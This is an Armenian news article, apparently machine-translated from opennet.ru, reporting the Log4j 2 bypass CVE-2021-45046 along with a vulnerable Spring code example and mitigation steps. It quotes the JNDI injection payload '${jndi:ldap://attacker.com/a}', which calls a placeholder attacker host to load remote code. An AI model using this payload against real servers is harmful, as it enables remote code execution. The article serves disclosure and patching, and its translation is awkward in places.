Նոր հարձակում Log4j 2-ի վրա, որը թույլ է տալիս շրջանցել ավելացված պաշտպանությունը

Մեկ այլ խոցելիություն է հայտնաբերվել Log4j 2 գրադարանում JNDI-ի փոխարինումների իրականացման ժամանակ (CVE-2021-45046), որը տեղի է ունենում՝ չնայած 2.15 թողարկումում ավելացված շտկումներին և անկախ «log4j2.noFormatMsgLookup» պարամետրի օգտագործման պաշտպանության համար: Խնդիրը վտանգավոր է հիմնականում Log4j 2-ի հին տարբերակների համար, որոնք պաշտպանված են «noFormatMsgLookup» դրոշի միջոցով, քանի որ այն հնարավորություն է տալիս շրջանցել պաշտպանությունը նախորդ խոցելիությունից (Log4Shell, CVE-2021-44228), որը թույլ է տալիս կատարել ձեր կոդը սերվեր. 2.15 տարբերակի օգտատերերի համար շահագործումը սահմանափակվում է առկա ռեսուրսների սպառման պատճառով հավելվածի խափանման համար պայմաններ ստեղծելով:

Խոցելիությունը տեղի է ունենում միայն այն համակարգերում, որոնք օգտագործում են Համատեքստի որոնումներ, ինչպիսիք են ${ctx:loginId} կամ Թեմայի համատեքստային քարտեզները, ինչպիսիք են՝ %X, %mdc և %MDC գրանցման համար: Գործողությունը հանգում է նրան, որ պայմանների ստեղծումը JNDI-ի փոխարինումներ պարունակող տվյալների գրանցամատյանում մուտքագրելու համար հավելվածում համատեքստի հարցումներ կամ MDC ձևանմուշներ օգտագործելիս, որոնք սահմանում են ելքը մատյանում ձևաչափելու կանոնները:

LunaSec-ի հետազոտողները նշել են, որ Log4j-ի 2.15-ից պակաս տարբերակների համար այս խոցելիությունը կարող է օգտագործվել որպես նոր վեկտոր Log4Shell հարձակման համար, որը հանգեցնում է կոդի կատարման, եթե օգտագործվեն ThreadContext արտահայտություններ, երբ մուտքագրվում են գրանցամատյան, որտեղ մուտք են գործում արտաքին տվյալները՝ անկախ նրանից: « noMsgFormatLookups» դրոշը կամ «%m{nolookups}» կաղապարը պաշտպանելու ներառումը:

Նոր հարձակում Log4j 2-ի վրա, որը թույլ է տալիս շրջանցել ավելացված պաշտպանությունը

Պաշտպանության շրջանցումը հանգում է նրան, որ «${jndi:ldap://attacker.com/a}» ուղղակի փոխարինման փոխարեն այս արտահայտությունը փոխարինվում է միջանկյալ փոփոխականի արժեքով, որն օգտագործվում է ելքը ձևաչափելու կանոններում: գերան. Օրինակ, եթե կոնտեքստային հարցումը ${ctx:apiversion} օգտագործվում է գրանցամատյանում ելք ուղարկելու ժամանակ, ապա հարձակումը կարող է իրականացվել՝ փոխարինելով «${jndi:ldap://attacker.com/a}» տվյալները: արժեքը գրված է apiversion փոփոխականին: Խոցելի կոդի օրինակ՝ appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP վերնագրի արժեքը փոխանցվում է ThreadContext ThreadContext.put("apiversion" , apiVersion ); // Մատյանում ելքագրելիս, apiversion-ի արտաքին արժեքը կմշակվի՝ օգտագործելով ${ctx:apiversion} logger.info("Received a request for API version"); վերադարձ «Բարև, աշխարհ»; }

Log4j 2.15-ում խոցելիությունը կարող է օգտագործվել DoS գրոհներ իրականացնելու համար ThreadContext-ին արժեքներ փոխանցելիս, որոնք կհանգեցնեն ելքային ձևաչափման օրինաչափության հանգույցին:

Նոր հարձակում Log4j 2-ի վրա, որը թույլ է տալիս շրջանցել ավելացված պաշտպանությունը

2.16 և 2.12.2 թարմացումները հրապարակվել են խոցելիությունը արգելափակելու համար: Log4j 2.16 մասնաճյուղում, բացի 2.15 տարբերակում իրականացված ուղղումներից և JNDI LDAP հարցումները «localhost»-ին կապող, JNDI ֆունկցիոնալությունն ամբողջությամբ անջատված է լռելյայնորեն, և հաղորդագրությունների փոխարինման օրինաչափությունների աջակցությունը հեռացվել է: Որպես անվտանգության լուծում, առաջարկվում է հեռացնել JndiLookup դասը դասընթացից (օրինակ՝ «zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class»):

Դուք կարող եք հետևել շտկումների տեսքին փաթեթներում բաշխումների էջերում (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) և Java պլատֆորմի արտադրողների (GitHub, Docker, Oracle, vmWare, Broadcom և Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure և այլն):

Source: opennet.ru

Добавить комментарий